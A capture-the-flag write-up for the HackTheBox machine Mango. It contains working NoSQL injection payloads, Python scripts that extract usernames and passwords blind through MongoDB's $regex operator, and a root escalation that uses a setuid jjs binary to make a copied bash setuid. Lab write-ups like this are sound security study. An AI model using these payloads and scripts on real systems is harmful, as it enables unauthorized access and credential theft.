Mango Writeup - HackTheBox
Mango is a Linux box running a MongoDB backed login form. The chain runs: a TLS certificate that reveals the real virtual host, a NoSQL injection that authenticates without a password, blind extraction of both usernames and passwords through the $regex operator, password reuse straight into SSH, and a setuid jjs binary that runs arbitrary Java as root.
Reconnaissance
Port scan
Open $TARGET_IP:22 Open $TARGET_IP:80 Open $TARGET_IP:443
Explain command
| -a $TARGET_IP | Address to sweep for open ports across the full range. |
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 |_http-title: 403 Forbidden 443/tcp open ssl/https Apache/2.4.29 (Ubuntu) |_http-title: 400 Bad Request | ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd. | Not valid before: 2019-09-27T14:21:19 |_Not valid after: 2020-09-26T14:21:19
Explain command
| -sCV | Run the default script set and probe service versions. |
| -T4 | Faster timing template, safe against a lab target. |
| -p22,80,443 | Limit the scan to the ports rustscan already found open. |
Both web ports refuse the raw address, 403 on 80 and 400 on 443, which means Apache only serves content for a hostname it recognises. The certificate names that hostname: staging-order.mango.htb. Adding it to /etc/hosts makes port 80 serve a login form.
Vulnerability Discovery
Not SQL
Standard SQL injection payloads produce no errors and no bypass, which is itself informative. A staging order application on this stack is as likely to be MongoDB behind PHP, and PHP parses bracketed field names such as password[$ne] into an array. If the backend hands that array to the query unchecked, MongoDB reads it as the $ne operator, so the check becomes not equal rather than equal.
username=admin&password[$ne]=invalid&login=login
HTTP/1.1 302 Found Server: Apache/2.4.29 (Ubuntu) Set-Cookie: PHPSESSID=5jpjiqo9c8ndatsejc6j88ksgl; path=/ location: index.php
Explain command
| -I | Request headers only, which is enough to see the redirect. |
A 302 instead of a bounce back to the login page means the query matched, so authentication is bypassed as long as the username exists. That boolean difference between 302 and not is also an oracle, and $regex turns it into a way to read data out one character at a time.
Exploitation
Recovering usernames
#!/usr/bin/env python3
import requests, string
URL = "http://staging-order.mango.htb/"
CHARSET = string.ascii_letters + string.digits + "_@.-"
session = requests.Session()
def test_regex(regex):
data = {"username[$regex]": regex, "password[$ne]": "invalid", "login": "login"}
r = session.post(URL, data=data, allow_redirects=False, timeout=10)
return r.status_code == 302
username = ""
while True:
for char in CHARSET:
if test_regex("^" + username + char):
username += char
print(f"[+] {username}")
break
else:
break
[+] a [+] ad [+] adm [+] admi [+] admin
Rerunning with a pattern that excludes names starting with a finds a second account, mango. Two usernames is enough to move on to their passwords.
Why the naive extraction breaks
The same prefix technique aimed at the password field starts fine and then drifts into nonsense. The reason is that candidate characters are being pasted into a regular expression unescaped, so metacharacters like *, ., +, [ and $ match by accident rather than literally. Every one of those produces a false positive.
Two changes fix it. Escape each candidate with re.escape(), and first fingerprint which characters appear anywhere in the password so the positional pass only tries a handful per position.
#!/usr/bin/env python3
import requests, string, re
URL = "http://staging-order.mango.htb/"
USERS = ["admin", "mango"]
CHARSET = string.ascii_letters + string.digits + string.punctuation
session = requests.Session()
def contains_char(username, char):
regex = "^.*" + re.escape(char) + ".*$"
data = {"username": username, "password[$regex]": regex, "login": "login"}
r = session.post(URL, data=data, allow_redirects=False, timeout=10)
return r.status_code == 302
for username in USERS:
valid = [c for c in CHARSET if contains_char(username, c)]
print(username, "".join(valid))
admin ctBKS0239!#>
mango fhmHKRUX358]{~
Twelve and fourteen candidates respectively, instead of the full printable range. The positional pass then anchors ^ plus the escaped prefix recovered so far.
def recover(username, charset, password=""):
while True:
for char in charset:
candidate = password + char
data = {"username": username, "password[$regex]": "^" + re.escape(candidate), "login": "login"}
r = session.post(URL, data=data, allow_redirects=False, timeout=10)
if r.status_code == 302:
password = candidate
print(f"[+] {password}")
break
else:
return password
[*] Recovering: admin <snip> [+] Final candidate for admin: $ADMINS_PASSWORD [*] Recovering: mango <snip> [+] Final candidate for mango: $MANGOS_PASSWORD
Both passwords recovered through nothing but redirect status codes. This is blind injection in the same shape as the SQL version, aimed at MongoDB operators instead of SQL syntax.
Reusing them on SSH
mango@mango:~$ whoami mango
The web password is also the system password. The admin credentials work the same way from inside that session.
Password: $ whoami admin
Privilege Escalation
SUID binaries
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec -rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-sr-- 1 root admin 10352 Jul 18 2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign <snip>
Explain command
| -perm -4000 | Match the setuid bit. |
| -exec ls -l {} \; | Print ownership and mode for each match. |
jjs is the Java shell from the JDK and has no business being setuid. It is group owned by admin, which is exactly the account just obtained, and it executes arbitrary Java, so anything it spawns inherits root as the effective user. GTFOBins documents this exact case.
Staging a copy of bash first gives the escalation something to mark setuid.
jjs> var R = Java.type("java.lang.Runtime");
jjs> var r = R.getRuntime();
jjs> r.exec(["/bin/chmod", "4755", "/tmp/rootbash"]).waitFor();
0
jjs> exit()
The chmod runs as root, so the staged binary keeps its root ownership and gains the setuid bit. Bash drops elevated privileges on startup unless told not to, which is what -p is for.
rootbash-4.4# whoami root
Explain command
| -p | Keep the effective user id instead of dropping back to the real one. |
Root shell. User and root are both covered.
Related
References
-
MongoDB $regex operatorDOCS: MongoDB $regex operator, www.mongodb.com/docs/manual/reference/operator/query/regex (opens in new tab)
The operator abused for the blind character by character extraction.
-
Documents the setuid abuse path used for the root shell.